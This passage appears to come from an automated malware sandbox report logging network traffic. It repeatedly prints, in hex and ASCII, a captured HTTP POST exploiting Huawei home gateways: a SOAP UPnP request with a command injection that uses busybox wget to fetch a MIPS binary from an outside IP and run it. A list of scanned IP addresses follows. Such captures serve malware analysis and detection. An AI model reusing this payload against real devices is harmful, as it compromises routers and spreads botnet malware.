6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: unknownTCP traffic detected without corresponding DNS query: 41.22.154.177
    Source: unknownTCP traffic detected without corresponding DNS query: 197.216.113.177
    Source: unknownTCP traffic detected without corresponding DNS query: 41.140.88.145
    Source: unknownTCP traffic detected without corresponding DNS query: 41.15.193.245
    Source: unknownTCP traffic detected without corresponding DNS query: 197.11.9.106
    Source: unknownTCP traffic detected without corresponding DNS query: 197.207.143.244
    Source: unknownTCP traffic detected without corresponding DNS query: 156.26.59.215
    Source: unknownTCP traffic detected without corresponding DNS query: 197.19.26.126
    Source: unknownTCP traffic detected without corresponding DNS query: 41.6.27.61
    Source: unknownTCP traffic detected without corresponding DNS query: 41.62.159.5
    Source: unknownTCP traffic detected without corresponding DNS query: 197.194.73.207
    Source: unknownTCP traffic detected without corresponding DNS query: 156.2.34.234
    Source: unknownTCP traffic detected without corresponding DNS query: 156.127.165.156
    Source: unknownTCP traffic detected without corresponding DNS query: 41.239.68.83
    Source: unknownTCP traffic detected without corresponding DNS query: 41.15.216.40
    Source: unknownTCP traffic detected without corresponding DNS query: 41.82.165.239
    Source: unknownTCP traffic detected without corresponding DNS query: 197.56.158.2
    Source: unknownTCP traffic detected without corresponding DNS query: 197.139.103.99
    Source: unknownTCP traffic detected without corresponding DNS query: 197.51.196.161
    Source: unknownTCP traffic detected without corresponding DNS query: 156.240.237.8
    Source: unknownTCP traffic detected without corresponding DNS query: 156.31.159.192
    Source: unknownTCP traffic detected without corresponding DNS query: 156.252.150.131
    Source: unknownTCP traffic detected without corresponding DNS query: 41.197.66.245
    Source: unknownTCP traffic detected without corresponding DNS query: 156.124.112.231
    Source: unknownTCP traffic detected without corresponding DNS query: 197.205.241.98
    Source: unknownTCP traffic detected without corresponding DNS query: 197.204.22.167
    Source: unknownTCP traffic detected without corresponding DNS query: 197.115.189.113
    Source: unknownTCP traffic detected without corresponding DNS query: 197.244.216.95
    Source: unknownTCP traffic detected without corresponding DNS query: 156.87.208.8
    Source: unknownTCP traffic detected without corresponding DNS query: 156.207.195.62
    Source: unknownTCP traffic detected without corresponding DNS query: 156.232.253.78
    Source: unknownTCP traffic detected without corresponding DNS query: 41.11.216.248
    Source: unknownTCP traffic detected without corresponding DNS query: 41.161.72.113
    Source: unknownTCP traffic detected without corresponding DNS query: 197.14.240.243
    Source: unknownTCP traffic detected without corresponding DNS query: 41.82.56.173
    Source: unknownTCP traffic detected without corresponding DNS query: 41.134.69.75
